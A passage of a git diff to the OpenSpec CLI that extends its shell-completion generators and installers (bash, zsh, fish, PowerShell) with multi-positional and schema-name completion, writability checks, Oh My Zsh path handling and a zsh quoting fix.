COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Validate a specification', acceptsPositional: true, positionalType: 'spec-id', + positionals: [{ name: 'spec-id', type: 'spec-id', optional: true }], flags: [ COMMON_FLAGS.strict, COMMON_FLAGS.jsonValidation, @@ -277,6 +575,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Generate completion script for a shell (outputs to stdout)', acceptsPositional: true, positionalType: 'shell', + positionals: [{ name: 'shell', type: 'shell', optional: true }], flags: [], }, { @@ -284,6 +583,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Install completion script for a shell', acceptsPositional: true, positionalType: 'shell', + positionals: [{ name: 'shell', type: 'shell', optional: true }], flags: [ { name: 'verbose', @@ -296,6 +596,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Uninstall completion script for a shell', acceptsPositional: true, positionalType: 'shell', + positionals: [{ name: 'shell', type: 'shell', optional: true }], flags: [ { name: 'yes', @@ -334,12 +635,14 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ name: 'get', description: 'Get a specific value (raw, scriptable)', acceptsPositional: true, + positionals: [{ name: 'key' }], flags: [], }, { name: 'set', description: 'Set a value (auto-coerce types)', acceptsPositional: true, + positionals: [{ name: 'key' }, { name: 'value' }], flags: [ { name: 'string', @@ -355,6 +658,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ name: 'unset', description: 'Remove a key (revert to default)', acceptsPositional: true, + positionals: [{ name: 'key' }], flags: [], }, { @@ -380,6 +684,8 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ { name: 'profile', description: 'Configure workflow profile (interactive picker or preset shortcut)', + acceptsPositional: true, + positionals: [{ name: 'preset', optional: true }], flags: [], }, ], @@ -394,6 +700,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Show where a schema resolves from', acceptsPositional: true, positionalType: 'schema-name', + positionals: [{ name: 'name', type: 'schema-name', optional: true }], flags: [ COMMON_FLAGS.json, { @@ -407,6 +714,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Validate a schema structure and templates', acceptsPositional: true, positionalType: 'schema-name', + positionals: [{ name: 'name', type: 'schema-name', optional: true }], flags: [ COMMON_FLAGS.json, { @@ -420,6 +728,10 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ description: 'Copy an existing schema to project for customization', acceptsPositional: true, positionalType: 'schema-name', + positionals: [ + { name: 'source', type: 'schema-name' }, + { name: 'name', optional: true }, + ], flags: [ COMMON_FLAGS.json, { @@ -432,6 +744,7 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [ name: 'init', description: 'Create a new project-local schema', acceptsPositional: true, + positionals: [{ name: 'name' }], flags: [ COMMON_FLAGS.json, { diff --git a/src/core/completions/completion-provider.ts b/src/core/completions/completion-provider.ts index b798ffe586..0159131486 100644 --- a/src/core/completions/completion-provider.ts +++ b/src/core/completions/completion-provider.ts @@ -1,4 +1,5 @@ import { getActiveChangeIds, getSpecIds } from '../../utils/item-discovery.js'; +import { listSchemas } from '../artifact-graph/index.js'; /** * Cache entry for completion data @@ -17,6 +18,7 @@ export class CompletionProvider { private readonly cacheTTL: number; private changeCache: CacheEntry<string[]> | null = null; private specCache: CacheEntry<string[]> | null = null; + private schemaCache: CacheEntry<string[]> | null = null; /** * Creates a new completion provider @@ -81,6 +83,31 @@ export class CompletionProvider { return specIds; } + /** + * Get all schema names for completion + * + * @returns Array of schema names + */ + async getSchemaNames(): Promise<string[]> { + const now = Date.now(); + + // Check if cache is valid + if (this.schemaCache && now - this.schemaCache.timestamp < this.cacheTTL) { + return this.schemaCache.data; + } + + // Fetch fresh data + const schemaNames = listSchemas(this.projectRoot); + + // Update cache + this.schemaCache = { + data: schemaNames, + timestamp: now, + }; + + return schemaNames; + } + /** * Get both change and spec IDs for completion * @@ -101,6 +128,7 @@ export class CompletionProvider { clearCache(): void { this.changeCache = null; this.specCache = null; + this.schemaCache = null; } /** @@ -111,6 +139,7 @@ export class CompletionProvider { getCacheStats(): { changeCache: { valid: boolean; age?: number }; specCache: { valid: boolean; age?: number }; + schemaCache: { valid: boolean; age?: number }; } { const now = Date.now(); @@ -123,6 +152,10 @@ export class CompletionProvider { valid: this.specCache !== null && now - this.specCache.timestamp < this.cacheTTL, age: this.specCache ? now - this.specCache.timestamp : undefined, }, + schemaCache: { + valid: this.schemaCache !== null && now - this.schemaCache.timestamp < this.cacheTTL, + age: this.schemaCache ? now - this.schemaCache.timestamp : undefined, + }, }; } } diff --git a/src/core/completions/generators/bash-generator.ts b/src/core/completions/generators/bash-generator.ts index 73df90c299..7d05d56c44 100644 --- a/src/core/completions/generators/bash-generator.ts +++ b/src/core/completions/generators/bash-generator.ts @@ -1,4 +1,9 @@ -import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js'; +import { + CompletionGenerator, + CommandDefinition, + FlagDefinition, + PositionalDefinition, +} from '../types.js'; import { BASH_DYNAMIC_HELPERS } from '../templates/bash-templates.js'; /** @@ -109,14 +114,14 @@ complete -F _openspec_completion openspec for (const subcmd of cmd.subcommands) { lines.push(`${indent} ${subcmd.name})`); - lines.push(...this.generateArgumentCompletion(subcmd, indent + ' ')); + lines.push(...this.generateArgumentCompletion(subcmd, indent + ' ', 3)); lines.push(`${indent} ;;`); } lines.push(`${indent}esac`); } else { // No subcommands, just complete arguments - lines.push(...this.generateArgumentCompletion(cmd, indent)); + lines.push(...this.generateArgumentCompletion(cmd, indent, 2)); } return lines; @@ -125,7 +130,11 @@ complete -F _openspec_completion openspec /** * Generate argument completion (flags and positional arguments) */ - private generateArgumentCompletion(cmd: CommandDefinition, indent: string): string[] { + private generateArgumentCompletion( + cmd: CommandDefinition, + indent: string, + firstPositionalWordIndex: number + ): string[] { const lines: string[] = []; // Check for flag completion @@ -145,7 +154,14 @@ complete -F _openspec_completion openspec } // Handle positional completions - if (cmd.acceptsPositional) { + if (cmd.positionals && cmd.positionals.length > 0) { + lines.push(...this.generateIndexedPositionalCompletion( + cmd.positionals, + cmd.flags, + firstPositionalWordIndex, + indent + )); + } else if (cmd.acceptsPositional) { lines.push(...this.generatePositionalCompletion(cmd.positionalType, indent)); } @@ -168,6 +184,9 @@ complete -F _openspec_completion openspec case 'change-or-spec-id': lines.push(`${indent}_openspec_complete_items`); break; + case 'schema-name': + lines.push(`${indent}_openspec_complete_schemas`); + break; case 'shell': lines.push(`${indent}local shells="zsh bash fish powershell"`); lines.push(`${indent}COMPREPLY=($(compgen -W "$shells" -- "$cur"))`); @@ -180,6 +199,73 @@ complete -F _openspec_completion openspec return lines; } + private generateIndexedPositionalCompletion( + positionals: PositionalDefinition[], + flags: FlagDefinition[], + firstPositionalWordIndex: number, + indent: string + ): string[] { + const lines: string[] = []; + const valueFlagCases = this.generateValueFlagCases(flags); + + if (valueFlagCases.length > 0) { + lines.push(`${indent}case "$prev" in`); + lines.push(`${indent} ${valueFlagCases.join('|')}) return 0 ;;`); + lines.push(`${indent}esac`); + lines.push(''); + } + + lines.push(`${indent}local positional_index=0`); + lines.push(`${indent}local skip_next=0`); + lines.push(`${indent}local i`); + lines.push(`${indent}for ((i = ${firstPositionalWordIndex}; i < cword; i++)); do`); + lines.push(`${indent} if [[ $skip_next -eq 1 ]]; then`); + lines.push(`${indent} skip_next=0`); + lines.push(`${indent} continue`); + lines.push(`${indent} fi`); + lines.push(`${indent} case "\${words[i]}" in`); + + if (valueFlagCases.length > 0) { + lines.push(`${indent} ${valueFlagCases.join('|')}) skip_next=1 ;;`); + lines.push(`${indent} ${valueFlagCases.map((flag) => `${flag}=*`).join('|')}) ;;`); + } + + lines.push(`${indent} -*) ;;`); + lines.push(`${indent} *) ((positional_index++)) ;;`); + lines.push(`${indent} esac`); + lines.push(`${indent}done`); + lines.push(''); + lines.push(`${indent}case "$positional_index" in`); + + for (const [index, positional] of positionals.entries()) { + const completion = this.generateIndexedPositionalCase(positional, indent + ' '); + if (completion.length === 0) continue; + lines.push(`${indent} ${index})`); + lines.push(...completion); + lines.push(`${indent} ;;`); + } + + lines.push(`${indent}esac`); + + return lines; + } + + private generateValueFlagCases(flags: FlagDefinition[]): string[] { + return flags + .filter((flag) => flag.takesValue) + .flatMap((flag) => [ + `--${flag.name}`, + ...(flag.short ? [`-${flag.short}`] : []), + ]); + } + + private generateIndexedPositionalCase( + positional: PositionalDefinition, + indent: string + ): string[] { + return this.generatePositionalCompletion(positional.type, indent); + } + /** * Escape command/subcommand names for safe use in Bash scripts diff --git a/src/core/completions/generators/fish-generator.ts b/src/core/completions/generators/fish-generator.ts index 4020fb33db..fa1d21af9c 100644 --- a/src/core/completions/generators/fish-generator.ts +++ b/src/core/completions/generators/fish-generator.ts @@ -163,6 +163,9 @@ ${commandCompletions}`; case 'change-or-spec-id': lines.push(`complete -c openspec -n '${condition}' -a '(__fish_openspec_items)' -f`); break; + case 'schema-name': + lines.push(`complete -c openspec -n '${condition}' -a '(__fish_openspec_schemas)' -f`); + break; case 'shell': lines.push(`complete -c openspec -n '${condition}' -a 'zsh bash fish powershell' -f`); break; diff --git a/src/core/completions/generators/powershell-generator.ts b/src/core/completions/generators/powershell-generator.ts index c4be1f9900..5e4b9498b9 100644 --- a/src/core/completions/generators/powershell-generator.ts +++ b/src/core/completions/generators/powershell-generator.ts @@ -1,4 +1,9 @@ -import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js'; +import { + CompletionGenerator, + CommandDefinition, + FlagDefinition, + PositionalDefinition, +} from '../types.js'; import { POWERSHELL_DYNAMIC_HELPERS } from '../templates/powershell-templates.js'; /** @@ -123,14 +128,14 @@ Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter for (const subcmd of cmd.subcommands) { lines.push(`${indent} "${subcmd.name}" {`); - lines.push(...this.generateArgumentCompletion(subcmd, indent + ' ')); + lines.push(...this.generateArgumentCompletion(subcmd, indent + ' ', 3)); lines.push(`${indent} }`); } lines.push(`${indent}}`); } else { // No subcommands - lines.push(...this.generateArgumentCompletion(cmd, indent)); + lines.push(...this.generateArgumentCompletion(cmd, indent, 2)); } return lines; @@ -139,7 +144,11 @@ Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter /** * Generate argument completion (flags and positional) */ - private generateArgumentCompletion(cmd: CommandDefinition, indent: string): string[] { + private generateArgumentCompletion( + cmd: CommandDefinition, + indent: string, + firstPositionalTokenIndex: number + ): string[] { const lines: string[] = []; // Flag completion @@ -167,13 +176,91 @@ Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter } // Positional completion - if (cmd.acceptsPositional) { + if (cmd.positionals && cmd.positionals.length > 0) { + lines.push(...this.generateIndexedPositionalCompletion( + cmd.positionals, + cmd.flags, + firstPositionalTokenIndex, + indent + )); + } else if (cmd.acceptsPositional) { lines.push(...this.generatePositionalCompletion(cmd.positionalType, indent)); } return lines; } + private generateIndexedPositionalCompletion( + positionals: PositionalDefinition[], + flags: FlagDefinition[], + firstPositionalTokenIndex: number, + indent: string + ): string[] { + const caseLines: string[] = []; + for (const [index, positional] of positionals.entries()) { + const completion = this.generatePositionalCompletion(positional.type, indent + ' '); + if (completion.length === 0) continue; + caseLines.push(`${indent} ${index} {`); + caseLines.push(...completion); + caseLines.push(`${indent} }`); + } + + // A switch with no clauses is a PowerShell parse error, so when no + // positional produces completions skip the whole block (it would only + // feed the empty switch anyway). + if (caseLines.length === 0) return []; + + const lines: string[] = []; + const valueFlags = this.generateValueFlags(flags); + + if (valueFlags.length > 0) { + const flagList = valueFlags.map((flag) => `"${flag}"`).join(', '); + lines.push(`${indent}if (@(${flagList}) -contains $tokens[$commandCount - 2]) { return }`); + lines.push(''); + } + + lines.push(`${indent}$positionalIndex = 0`); + lines.push(`${indent}$skipNext = $false`); + lines.push(`${indent}for ($i = ${firstPositionalTokenIndex}; $i -lt ($commandCount - 1); $i++) {`); + lines.push(`${indent} if ($skipNext) {`); + lines.push(`${indent} $skipNext = $false`); + lines.push(`${indent} continue`); + lines.push(`${indent} }`); + lines.push(`${indent} $token = $tokens[$i]`); + + if (valueFlags.length > 0) { + const flagList = valueFlags.map((flag) => `"${flag}"`).join(', '); + lines.push(`${indent} if (@(${flagList}) -contains $token) {`); + lines.push(`${indent} $skipNext = $true`); + lines.push(`${indent} continue`); + lines.push(`${indent} }`); + lines.push(`${indent} if ($token -match "^(${valueFlags.map((flag) => this.escapeRegex(flag)).join('|')})=.*") { continue }`); + } + + lines.push(`${indent} if ($token -like "-*") { continue }`); + lines.push(`${indent} $positionalIndex++`); + lines.push(`${indent}}`); + lines.push(''); + lines.push(`${indent}switch ($positionalIndex) {`); + lines.push(...caseLines); + lines.push(`${indent}}`); + + return lines; + } + + private generateValueFlags(flags: FlagDefinition[]): string[] { + return flags + .filter((flag) => flag.takesValue) + .flatMap((flag) => [ + `--${flag.name}`, + ...(flag.short ? [`-${flag.short}`] : []), + ]); + } + + private escapeRegex(value: string): string { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + } + /** * Generate positional argument completion */ @@ -197,6 +284,11 @@ Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", $_)`); lines.push(`${indent}}`); break; + case 'schema-name': + lines.push(`${indent}Get-OpenSpecSchemas | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {`); + lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", "Schema: $_")`); + lines.push(`${indent}}`); + break; case 'shell': lines.push(`${indent}$shells = @("zsh", "bash", "fish", "powershell")`); lines.push(`${indent}$shells | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {`); diff --git a/src/core/completions/generators/zsh-generator.ts b/src/core/completions/generators/zsh-generator.ts index f9a68c5e5e..bf2fc627aa 100644 --- a/src/core/completions/generators/zsh-generator.ts +++ b/src/core/completions/generators/zsh-generator.ts @@ -1,4 +1,9 @@ -import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js'; +import { + CompletionGenerator, + CommandDefinition, + FlagDefinition, + PositionalDefinition, +} from '../types.js'; import { ZSH_DYNAMIC_HELPERS } from '../templates/zsh-templates.js'; /** @@ -139,16 +144,7 @@ compdef _openspec openspec lines.push(' ' + this.generateFlagSpec(flag) + ' \\'); } - // Add positional argument completion - if (cmd.acceptsPositional) { - const positionalSpec = this.generatePositionalSpec(cmd.positionalType); - lines.push(' ' + positionalSpec); - } else { - // Remove trailing backslash from last flag - if (lines[lines.length - 1].endsWith(' \\')) { - lines[lines.length - 1] = lines[lines.length - 1].slice(0, -2); - } - } + this.appendPositionalSpecs(lines, cmd); } lines.push('}'); @@ -179,16 +175,7 @@ compdef _openspec openspec lines.push(' ' + this.generateFlagSpec(flag) + ' \\'); } - // Add positional argument completion - if (subcmd.acceptsPositional) { - const positionalSpec = this.generatePositionalSpec(subcmd.positionalType); - lines.push(' ' + positionalSpec); - } else { - // Remove trailing backslash from last flag - if (lines[lines.length - 1].endsWith(' \\')) { - lines[lines.length - 1] = lines[lines.length - 1].slice(0, -2); - } - } + this.appendPositionalSpecs(lines, subcmd); lines.push('}'); @@ -241,6 +228,8 @@ compdef _openspec openspec return "'*: :_openspec_complete_specs'"; case 'change-or-spec-id': return "'*: :_openspec_complete_items'"; + case 'schema-name': + return "'*: :_openspec_complete_schemas'"; case 'path': return "'*:path:_files'"; case 'shell': @@ -250,13 +239,70 @@ compdef _openspec openspec } } + private appendPositionalSpecs(lines: string[], cmd: CommandDefinition): void { + const positionalSpecs = this.generatePositionalSpecs(cmd); + + if (positionalSpecs.length === 0) { + if (lines[lines.length - 1].endsWith(' \\')) { + lines[lines.length - 1] = lines[lines.length - 1].slice(0, -2); + } + return; + } + + for (const [index, spec] of positionalSpecs.entries()) { + const suffix = index === positionalSpecs.length - 1 ? '' : ' \\'; + lines.push(' ' + spec + suffix); + } + } + + private generatePositionalSpecs(cmd: CommandDefinition): string[] { + if (cmd.positionals && cmd.positionals.length > 0) { + return cmd.positionals.map((positional, index) => + this.generateIndexedPositionalSpec(positional, index + 1) + ); + } + + if (cmd.acceptsPositional) { + return [this.generatePositionalSpec(cmd.positionalType)]; + } + + return []; + } + + private generateIndexedPositionalSpec( + positional: PositionalDefinition, + index: number + ): string { + const name = this.escapeDescription(positional.name); + const separator = positional.optional ? '::' : ':'; + + switch (positional.type) { + case 'change-id': + return `'${index}${separator}${name}:_openspec_complete_changes'`; + case 'spec-id': + return `'${index}${separator}${name}:_openspec_complete_specs'`; + case 'change-or-spec-id': + return `'${index}${separator}${name}:_openspec_complete_items'`; + case 'schema-name': + return `'${index}${separator}${name}:_openspec_complete_schemas'`; + case 'path': + return `'${index}${separator}${name}:_files'`; + case 'shell': + return `'${index}${separator}${name}:(zsh bash fish powershell)'`; + default: + return `'${index}${separator}${name}:'`; + } + } + /** * Escape special characters in descriptions */ private escapeDescription(desc: string): string { return desc .replace(/\\/g, '\\\\') - .replace(/'/g, "\\'") + // Inside zsh single quotes, backslash-quote does NOT escape; the + // idiom is close-quote, literal quote, reopen: '\'' + .replace(/'/g, "'\\''") .replace(/\[/g, '\\[') .replace(/]/g, '\\]') .replace(/:/g, '\\:'); diff --git a/src/core/completions/installers/bash-installer.ts b/src/core/completions/installers/bash-installer.ts index 8e63cb7e0d..dd3d0d5869 100644 --- a/src/core/completions/installers/bash-installer.ts +++ b/src/core/completions/installers/bash-installer.ts @@ -240,6 +240,10 @@ export class BashInstaller { console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`); } + if (!(await FileSystemUtils.canWriteFile(targetPath))) { + throw new Error(`Path is not writable: ${targetPath}`); + } + // Ensure the directory exists const targetDir = path.dirname(targetPath); await fs.mkdir(targetDir, { recursive: true }); diff --git a/src/core/completions/installers/fish-installer.ts b/src/core/completions/installers/fish-installer.ts index 2bdb19f149..8f334739a7 100644 --- a/src/core/completions/installers/fish-installer.ts +++ b/src/core/completions/installers/fish-installer.ts @@ -1,6 +1,7 @@ import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; +import { FileSystemUtils } from '../../../utils/file-system.js'; import { InstallationResult } from '../factory.js'; /** @@ -76,6 +77,10 @@ export class FishInstaller { console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`); } + if (!(await FileSystemUtils.canWriteFile(targetPath))) { + throw new Error(`Path is not writable: ${targetPath}`); + } + // Ensure the directory exists const targetDir = path.dirname(targetPath); await fs.mkdir(targetDir, { recursive: true }); @@ -135,6 +140,11 @@ export class FishInstaller { }; } + const targetDir = path.dirname(targetPath); + if (!(await FileSystemUtils.canWriteFile(targetDir))) { + throw new Error(`Path is not writable: ${targetDir}`); + } + // Remove the completion script await fs.unlink(targetPath); diff --git a/src/core/completions/installers/powershell-installer.ts b/src/core/completions/installers/powershell-installer.ts index 21384fd919..aa7653531c 100644 --- a/src/core/completions/installers/powershell-installer.ts +++ b/src/core/completions/installers/powershell-installer.ts @@ -170,9 +170,23 @@ export class PowerShellInstaller { for (const profilePath of profilePaths) { try { - // Create profile file if it doesn't exist const profileDir = path.dirname(profilePath); - await fs.mkdir(profileDir, { recursive: true }); + let profileExists = false; + try { + await fs.access(profilePath); + profileExists = true; + } catch (err: any) { + if (err?.code !== 'ENOENT') { + throw err; + } + } + + if (!profileExists) { + if (!(await FileSystemUtils.canWriteFile(profilePath))) { + throw new Error(`Path is not writable: ${profilePath}`); + } + await fs.mkdir(profileDir, { recursive: true }); + } let profileContent = ''; let fileEncoding: BufferEncoding = 'utf-8'; @@ -209,6 +223,9 @@ export class PowerShellInstaller { ].join('\n'); const newContent = profileContent + openspecBlock; + if (!(await FileSystemUtils.canWriteFile(profilePath))) { + throw new Error(`Path is not writable: ${profilePath}`); + } await this.writeProfileFile(profilePath, newContent, fileEncoding, fileBom); anyConfigured = true; } catch (error) { @@ -271,6 +288,9 @@ export class PowerShellInstaller { // Clean up extra newlines const newContent = (beforeBlock.trimEnd() + '\n' + afterBlock.trimStart()).trim() + '\n'; + if (!(await FileSystemUtils.canWriteFile(profilePath))) { + throw new Error(`Path is not writable: ${profilePath}`); + } await this.writeProfileFile(profilePath, newContent, fileEncoding, fileBom); anyRemoved = true; } catch (error) { @@ -314,6 +334,10 @@ export class PowerShellInstaller { console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`); } + if (!(await FileSystemUtils.canWriteFile(targetPath))) { + throw new Error(`Path is not writable: ${targetPath}`); + } + // Ensure the directory exists const targetDir = path.dirname(targetPath); await fs.mkdir(targetDir, { recursive: true }); @@ -402,6 +426,11 @@ export class PowerShellInstaller { }; } + const targetDir = path.dirname(targetPath); + if (!(await FileSystemUtils.canWriteFile(targetDir))) { + throw new Error(`Path is not writable: ${targetDir}`); + } + // Remove the completion script await fs.unlink(targetPath); diff --git a/src/core/completions/installers/zsh-installer.ts b/src/core/completions/installers/zsh-installer.ts index 6a4493180f..3b6d87d67a 100644 --- a/src/core/completions/installers/zsh-installer.ts +++ b/src/core/completions/installers/zsh-installer.ts @@ -35,16 +35,29 @@ export class ZshInstaller { } // Fall back to checking for ~/.oh-my-zsh directory - const ohMyZshPath = path.join(this.homeDir, '.oh-my-zsh'); - try { - const stat = await fs.stat(ohMyZshPath); + const stat = await fs.stat(this.ohMyZshRoot()); return stat.isDirectory(); } catch { return false; } } + /** + * Oh My Zsh exports its root as $ZSH; honor a custom location, or the + * completion lands in a ~/.oh-my-zsh tree that nothing ever loads. + */ + private ohMyZshRoot(): string { + return process.env.ZSH || path.join(this.homeDir, '.oh-my-zsh'); + } + + /** + * The custom dir is separately relocatable via $ZSH_CUSTOM. + */ + private ohMyZshCustomDir(): string { + return process.env.ZSH_CUSTOM || path.join(this.ohMyZshRoot(), 'custom'); + } + /** * Get the appropriate installation path for the completion script * @@ -56,7 +69,7 @@ export class ZshInstaller { if (isOhMyZsh) { // Oh My Zsh custom completions directory return { - path: path.join(this.homeDir, '.oh-my-zsh', 'custom', 'completions', '_openspec'), + path: path.join(this.ohMyZshCustomDir(), 'completions', '_openspec'), isOhMyZsh: true, }; } else { @@ -166,27 +179,6 @@ export class ZshInstaller { } } - /** - * Check if fpath configuration is needed for a given directory - * Used to verify if Oh My Zsh (or other) completions directory is already in fpath - * - * @param completionsDir - Directory to check for in fpath - * @returns true if configuration is needed, false if directory is already referenced - */ - private async needsFpathConfig(completionsDir: string): Promise<boolean> { - try { - const zshrcPath = this.getZshrcPath(); - const content = await fs.readFile(zshrcPath, 'utf-8'); - - // Check if fpath already includes this directory - return !content.includes(completionsDir); - } catch (error) { - // If we can't read .zshrc, assume config is needed - console.debug(`Unable to read .zshrc to check fpath config: ${error instanceof Error ? error.message : String(error)}`); - return true; - } - } - /** * Remove .zshrc configuration * Used during uninstallation @@ -277,6 +269,10 @@ export class ZshInstaller { console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`); } + if (!(await FileSystemUtils.canWriteFile(targetPath))) { + throw new Error(`Path is not writable: ${targetPath}`); + } + // Ensure the directory exists const targetDir = path.dirname(targetPath); await fs.mkdir(targetDir, { recursive: true }); @@ -287,17 +283,10 @@ export class ZshInstaller { // Write the completion script await fs.writeFile(targetPath, completionScript, 'utf-8'); - // Auto-configure .zshrc + // Auto-configure .zshrc for standard Zsh only. + // Oh My Zsh loads custom/completions and runs compinit itself. let zshrcConfigured = false; - if (isOhMyZsh) { - // For Oh My Zsh, verify that custom/completions is in fpath - // If not, add it to .zshrc - const needsConfig = await this.needsFpathConfig(targetDir); - if (needsConfig) { - zshrcConfigured = await this.configureZshrc(targetDir); - } - } else { - // Standard Zsh always needs .zshrc configuration + if (!isOhMyZsh) { zshrcConfigured = await this.configureZshrc(targetDir); } @@ -351,10 +340,14 @@ export class ZshInstaller { * @returns Array of guidance strings, or undefined if not needed */ private generateOhMyZshFpathGuidance(completionsDir: string): string[] | undefined { + // One fpath entry per line, matched as a literal: a relocated $ZSH_CUSTOM + // need not contain "custom/completions", and the path may hold characters + // grep would otherwise read as a pattern. Single-quoted for the shell. + const quotedDir = `'${completionsDir.replace(/'/g, `'\\''`)}'`; return [ 'Note: Oh My Zsh typically auto-loads completions from custom/completions.', `Verify that ${completionsDir} is in your fpath by running:`, - ' echo $fpath | grep "custom/completions"', + ` printf '%s\\n' $fpath | grep -F ${quotedDir}`, '', 'If not found, completions may not work. Restart your shell to ensure changes take effect.', ]; diff --git a/src/core/completions/shared-flags.ts b/src/core/completions/shared-flags.ts new file mode 100644 index 0000000000..3a0d998e48 --- /dev/null +++ b/src/core/completions/shared-flags.ts @@ -0,0 +1,35 @@ +import type { FlagDefinition } from './types.js'; + +/** + * Common flags used across multiple commands. + */ +export const COMMON_FLAGS = { + json: { + name: 'json', + description: 'Output as JSON', + } as FlagDefinition, + jsonValidation: { + name: 'json', + description: 'Output validation results as JSON', + } as FlagDefinition, + strict: { + name: 'strict', + description: 'Enable strict validation mode', + } as FlagDefinition, + noInteractive: { + name: 'no-interactive', + description: 'Disable interactive prompts', + } as FlagDefinition, + type: { + name: 'type', + description: 'Specify item type when ambiguous', + takesValue: true, + values: ['change', 'spec'], + } as FlagDefinition, + store: { + name: 'store', + description: + "Store id to use as the OpenSpec root (a store is a standalone OpenSpec repo you've registered)", + takesValue: true, + } as FlagDefinition, +} as const; diff --git a/src/core/completions/templates/bash-templates.ts b/src/core/completions/templates/bash-templates.ts index 6794f14dbb..936874c5d4 100644 --- a/src/core/completions/templates/bash-templates.ts +++ b/src/core/completions/templates/bash-templates.ts @@ -21,4 +21,10 @@ _openspec_complete_items() { local items items=$(openspec __complete changes 2>/dev/null | cut -f1; openspec __complete specs 2>/dev/null | cut -f1) COMPREPLY=($(compgen -W "$items" -- "$cur")) +} + +_openspec_complete_schemas() { + local schemas + schemas=$(openspec __complete schemas 2>/dev/null | cut -f1) + COMPREPLY=($(compgen -W "$schemas" -- "$cur")) }`; diff --git a/src/core/completions/templates/fish-templates.ts b/src/core/completions/templates/fish-templates.ts index 695f721025..f3349f77b2 100644 --- a/src/core/completions/templates/fish-templates.ts +++ b/src/core/completions/templates/fish-templates.ts @@ -37,4 +37,10 @@ end function __fish_openspec_items __fish_openspec_changes __fish_openspec_specs +end + +function __fish_openspec_schemas + openspec __complete schemas 2>/dev/null | while read -l id desc + printf '%s\\t%s\\n' "$id" "$desc" + end end`; diff --git a/src/core/completions/templates/powershell-templates.ts b/src/core/completions/templates/powershell-templates.ts index 4f42a89086..7202961854 100644 --- a/src/core/completions/templates/powershell-templates.ts +++ b/src/core/completions/templates/powershell-templates.ts @@ -22,4 +22,13 @@ function Get-OpenSpecSpecs { } } } + +function Get-OpenSpecSchemas { + $output = openspec __complete schemas 2>$null + if ($output) { + $output | ForEach-Object { + ($_ -split "\\t")[0] + } + } +} `; diff --git a/src/core/completions/templates/zsh-templates.ts b/src/core/completions/templates/zsh-templates.ts index 7da6c5475e..d36dbdcfe4 100644 --- a/src/core/completions/templates/zsh-templates.ts +++ b/src/core/completions/templates/zsh-templates.ts @@ -33,4 +33,13 @@ _openspec_complete_items() { items+=("$id:$desc") done < <(openspec __complete specs 2>/dev/null) _describe "item" items +} + +# Use openspec __complete to get available schemas +_openspec_complete_schemas() { + local -a schemas + while IFS=$'\\t' read -r id desc; do + schemas+=("$id:$desc") + done < <(openspec __complete schemas 2>/dev/null) + _describe "schema" schemas }`; diff --git a/src/core/completions/types.ts b/src/core/completions/types.ts index 51027e50af..90df710b28 100644 --- a/src/core/completions/types.ts +++ b/src/core/completions/types.ts @@ -30,6 +30,34 @@ export interface FlagDefinition { values?: string[]; } +export type PositionalType = + | 'change-id' + | 'spec-id' + | 'change-or-spec-id' + | 'path' + | 'shell' + | 'schema-name'; + +/** + * Definition of a positional argument. + */ +export interface PositionalDefinition { + /** + * Positional name used in generated shell metadata. + */ + name: string; + + /** + * Type of positional argument for dynamic completion. + */ + type?: PositionalType; + + /** + * Whether this positional is optional in the CLI syntax. + */ + optional?: boolean; +} + /** * Definition of a CLI command */ @@ -69,7 +97,12 @@ export interface CommandDefinition { * - 'schema-name': Complete with available schema names * - undefined: No specific completion */ - positionalType?: 'change-id' | 'spec-id' | 'change-or-spec-id' | 'path' | 'shell' | 'schema-name'; + positionalType?: PositionalType; + + /** + * Ordered positional arguments when a command accepts more than one. + */ + positionals?: PositionalDefinition[]; } /** diff --git a/src/core/config-prompts.ts b/src/core/config-prompts.ts index d3bb029e20..f1f9242e18 100644 --- a/src/core/config-prompts.ts +++ b/src/core/config-prompts.ts @@ -3,7 +3,7 @@ import type { ProjectConfig } from './project-config.js'; /** * Serialize config to YAML string with helpful comments. * - * @param config - Partial config object (schema required, context/rules optional) + * @param config - Partial config object (schema required, other fields optional) * @returns YAML string ready to write to file */ export function serializeConfig(config: Partial<ProjectConfig>): string { @@ -34,6 +34,20 @@ export function serializeConfig(config: Partial<ProjectConfig>): string { lines.push('# - Always include a "Non-goals" section'); lines.push('# tasks:'); lines.push('# - Break tasks into chunks of max 2 hours'); + lines.push(''); + + // Operation guidance section with comments + lines.push('# Per-operation guidance (optional)'); + lines.push('# Add advisory guidance for how apply and archive work should be conducted.'); + lines.push('# This is separate from artifact rules above.'); + lines.push('# Example:'); + lines.push('# operations:'); + lines.push('# apply:'); + lines.push('# guidance:'); + lines.push('# - Keep test summaries concise'); + lines.push('# archive:'); + lines.push('# guidance:'); + lines.push('# - Summarize the archive outcome before finishing'); return lines.join('\n') + '\n'; } diff --git a/src/core/config-schema.ts b/src/core/config-schema.ts index 0614ed33ec..eebfa01fc4 100644 --- a/src/core/config-schema.ts +++ b/src/core/config-schema.ts @@ -21,6 +21,20 @@ export const GlobalConfigSchema = z workflows: z .array(z.string()) .optional(), + 